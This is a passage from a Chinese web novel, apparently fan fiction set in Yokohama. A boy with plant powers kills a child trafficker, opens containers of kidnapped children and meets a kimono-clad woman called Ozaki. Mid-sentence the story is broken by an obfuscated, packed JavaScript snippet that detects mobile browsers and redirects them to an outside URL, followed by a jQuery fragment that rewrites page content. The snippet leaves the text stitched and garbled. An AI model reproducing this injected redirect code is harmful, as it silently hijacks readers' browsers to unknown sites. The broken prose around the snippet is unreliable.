已经失去一次装晕的机会了,他耐心地等待着他的死亡,接着背靠集装箱一屁股坐在地上,半靠着等着其他人过来。 哀嚎声逐渐消失了。 已经长大了很多的雏菊以这个人贩子的尸体为中心,诡异地向四周蔓延开来,在短短的几秒内开花,花朵迅速成熟干枯,结出种子,种子随风四散,无声的扩散在这片没有植物的工厂。 弥生三月终于有了点在自己主场的感觉。 细小的种子散落在各处,他安心地闭目装晕,结果等了半天也没人过来,又悄悄的睁开一只眼睛。 刚刚还有着凌乱脚步声的工厂此刻安静了不少,但还是有规律地,轻缓的脚步声在工厂内游荡。 听起来,他们的目标似乎不是想要找到弥生三月,而是在寻找工厂里面的其他人。 意识到这一点,弥生三月连装晕都顾不上了,立马起身,一边指挥刚刚生长出来的花枝毁尸灭迹,一边义愤填膺。 他倒是要看看,到底是谁动了自己的堂食! 顺着花枝给出的方向,弥生三月行走在一个个巨大的集装箱之间,听到一部分集装箱里有小小的抽泣声。 这些就是他们拐来的孩子么? 他思索了一瞬,把手指搭在锁住集装箱的锁上,花枝缠绕上锁件一瞬间变得粗壮起来撑破锁头,集装箱门再也合不上,敞开小小的缝隙,令阳光蔓延了进去。 里面的孩子几乎是下意识地屏住呼吸,这下别说是哭声了,几乎落针可闻。 集装箱的大门缓缓敞开,被关在里面的孩子无法分辨即将进来的人是救赎,亦或是要把他们拖入更深的深渊,只惊恐地瞪大眼睛,待宰羔羊一样等待门外的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440229|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的到来。 他们并非没有反抗过,但反抗的孩子的血依旧在集装箱门边呈爆炸型炸开,至此,没人敢再去挑战那些带着枪的亡命之徒。 “吱呀——” 老旧的门发出零件生锈的声响,阳光更多地倾落下来,也落在站在门口的少年身上,里面捂着嘴的孩子瞪大眼睛,许久没见过阳光的眼睛适应不了光亮的环境,以至于看不清少年的面容,只能看到一头被阳光镀上了纯白影子的长发。 弥生三月并没有走进去。 他在门口看了一眼这些孩子,不等他们看清自己的脸,转身就走了。 通过已经生长出来的花枝,他大概已经知道现在在这里走来走去的人不是和人贩子一伙的了。 他们一个个都穿着黑色的西装,手里端着枪,一副训练有素的模样,绝对不是那群杂乱的、随意组成的组织能够比拟的。 弥生三月朝着那群人靠近,本来轻盈的步伐因为恼怒隐隐加快,准备看看到底!究竟!是谁!打扰了自己吃饭! 本来自己天天就吃不饱,现在好不容易有吃的了,还不让自己好好吃一顿,这到底是要干什么呀! 难道偌大的横滨非要让自己这个苦命人饿肚子吗! 少年漂亮的脸上表情从愤怒逐渐变成悲戚,大步向前闯入那群黑衣人最集中的位置,一瞬间所有枪口全部都指向他,等看清是个孩子后,他们又都齐刷刷挪开,朝着其他地方继续警戒。 弥生三月:我感觉自己被轻视了,并且有充足的证据。 还没等他开口,就有一个佩戴着耳麦的黑衣人按住领口的传呼器开口,“尾崎大人,这里有个孩子。” 话音落下,其中一个方向的黑衣人全都井井有条地退开,分成两列,恭敬地低下了头。 身穿绯色和服的高挑女子撑着红色的纸伞,脚下的木屐敲打在地上发出清脆的声音,随着她的走近,弥生三月手指轻轻勾了勾,让这四周摇动的花枝陷入了随时准备攻击的状态。 红伞的阴影慢慢的落在他身上,弥生三月扬起脸,看见了女子妆容精致的脸庞。 她低下头,手指轻轻抚过弥生三月那张不知何时沾染上草木灼烧后灰尘的脸,脸上带着弥生三月看不懂的痛色与疼惜。 “真是一群粗鲁的家伙。”她如母亲般轻轻替他擦去脸上的灰尘,怜爱道,“真是个可怜的孩子。”